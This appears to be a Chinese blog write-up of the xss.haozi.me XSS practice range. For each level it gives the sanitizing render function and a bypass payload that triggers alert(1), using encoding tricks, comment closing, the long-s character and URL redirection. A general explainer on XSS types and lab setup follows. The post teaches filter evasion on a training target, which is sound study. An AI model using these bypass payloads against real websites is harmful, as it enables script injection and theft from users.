XSS简单在线靶场

XSS简单在线靶场

在这里插入图片描述

靶场里的题以绕过为主,我们的目的是绕过防护执行alert(1),只要能执行alert(1),页面就会显示通过,同时左侧对应的当前关卡也会打上对钩。

项目:https://github.com/haozi/xss-demo

在线地址:https://xss.haozi.me

在线网站目录下的包含alert(1)的js文件地址:https://xss.haozi.me/j.js

0x00

写一对JS标签,里面直接输入脚本语句

function render (input) {
  return '<div>' + input + '</div>'
}

<script>alert(1)</script>

0x01

闭合</textarea>再输入脚本语句

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

</textarea><script>alert(1)</script>

0x02

闭合">再输入脚本语句

function render (input) {
  return '<input type="name" value="' + input + '">'
}

"><script>alert(1)</script>

0x03

过滤了小括号,可以用用反引号代替小括号

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

<script>alert`1`</script>

0x04

过滤了小括号和反单引号,用img标签报错触发动作,再将小括号转编码为&#40;1&#41;

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

<img src=1 onerror="alert&#40;1&#41"

0x05

语句输出在html注释里,并将结束注释符-->变成😂,可以采用另一种闭合方式--!>

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

--!><script>alert(1)</script>

0x06

输出在input标签里,并将许多关键字和字符替换成了_。正则中.*不包括换行符

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}
#payload
type="image" src=1 onerror
=alert(1)

0x07

过滤闭合的<>,插入报错图片

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

<img src=1 onerror="alert&#40;1&#41"

0x08

插入在css样式表里,回车绕过正则

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}
#payload
</style
><script>alert(1)</script>

0x09

输入正则中的网址,闭合JS标签,写入攻击语句

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

http://www.segmentfault.com"></script><img src=1 onerror="alert(1&#41"

0x0A

将特殊字符转义再输出

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

@重定向超链接:

https://www.segmentfault.com@xss.haozi.me/j.js

或者使用网站自带的JS链接文件:

https://www.segmentfault.com.haozi.me/j.js

0x0B

将字符转换成大写了

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

<svg onload=&#97&#108&#101&#114&#116(1)>

<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

0x0C

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

svg标签或img标签

<svg onload=&#97&#108&#101&#114&#116(1)>

<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

双写重定向:

<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>

0x0D

这一关,我表示不理解,不知道为什么—>能注释掉后面的括号//却不行

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}
//payload

alert(1)
-->

0x0E

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

ſ字符,是古英语中s的写法,在网页里可以匹配s,但在正则中却不属于[a-z]范围,这样就可以绕过正则使用<script>标签

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0F

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

虽然转义了,但在html是可以解析的,等于无效转义

');alert('1

0x10

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

'';alert(1);

0x11

",替换成\\",直接输出转义作用在中间的\上,变成\"

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

");alert(1)//

0x12

",替换成\\",与上面规则相同,但输出时用了字符串拼接,使得转义后的\"\还具有转义效果

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

在前面再填一个\

\");alert(1)//

### XSS攻击的基本概念 跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的网络安全漏洞,允许攻击者在受害者的浏览器中注入恶意脚本。这种攻击通常利用网页应用对用户输入数据处理不当的缺陷实现。XSS攻击的主要目的是窃取用户的敏感信息,例如Cookie、会话令牌或其他隐私数据[^3]。 #### XSS攻击的工作原理 XSS攻击的核心在于将未经验证或未正确编码的用户输入嵌入到动态生成的HTML页面中。当受害者访问该页面时,嵌入的恶意脚本会在其浏览器环境中执行。根据攻击方式的不同,XSS可分为三种主要类型: 1. **反射型XSS** 攻击者通过诱导用户点击含有恶意脚本的链接,使脚本被服务器反射回客户端并被执行。这种方式依赖于用户交互行为完成攻击过程。 2. **存储型XSS** 当恶意脚本被永久保存在目标数据库中并通过正常请求返回给其他用户时发生。这类攻击影响范围更广,因为一旦脚本存入系统就可能持续危害多个用户。 3. **DOM-based XSS** 此类攻击不涉及服务端逻辑错误,而是由于前端JavaScript代码直接操作了不可信的数据源,并将其渲染至文档对象模型 (Document Object Model),从而触发攻击。 --- ### XSS-Labs靶场练习教程 为了更好地理解和掌握XSS攻击及其防御机制,可以通过实际动手实验加深认识。以下是基于[XSS-Labs](https://github.com/ziyan/xss-labs)靶场的学习指南: #### 靶场环境搭建 按照提供的参考资料[^1][^2],可以找到关于XSS-Labs靶场的具体安装说明和技术支持资料。一般而言,需要具备一定的PHPWeb开发基础才能顺利部署本地测试平台。 - 下载项目仓库文件夹; - 安置好所需的运行环境(如Apache/Nginx Web Server 和 MySQL 数据库管理系统); - 导入初始配置数据集以便启动各个挑战级别实例; #### 实践案例解析 以某级题目为例展示解决思路: 假设存在一个简单的留言板功能,其中提交表单后能够显示留言内容却没有任何防护措施,则可能存在如下风险点——如果有人故意填写类似于`<script>alert('Hacked')</script>`这样的字段值的话就会弹窗警告框告知已被入侵成功! 此时我们需要思考如何绕过现有的过滤规则或者寻找新的突破口来达成最终目的即让上述JS语句生效达到预期效果同时也要注意遵循道德规范仅限用于教育研究用途不得非法滥用技术手段伤害他人利益。 ```html <!-- 原始 HTML 表单 --> <form action="/submit" method="POST"> <input type="text" name="comment" /> <button>Submit</button> </form> <!-- 可能存在的输出位置 --> <div id="comments"> <?php echo $_POST['comment']; ?> </div> ``` 针对此场景可尝试多种payload组合形式比如但不限于以下几种情况之一可能会奏效取决于具体后台实现细节差异等因素影响: ```javascript // Payload Example 1: Basic Injection <script>alert(1)</script> // Payload Example 2: Bypass Simple Filters with Encoding <script>alert(1)</script> // Payload Example 3: Event Handler Abuse <img src=x onerror=alert(1)> ``` 每完成一道习题都应该回顾总结经验教训进而提升技术水平。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值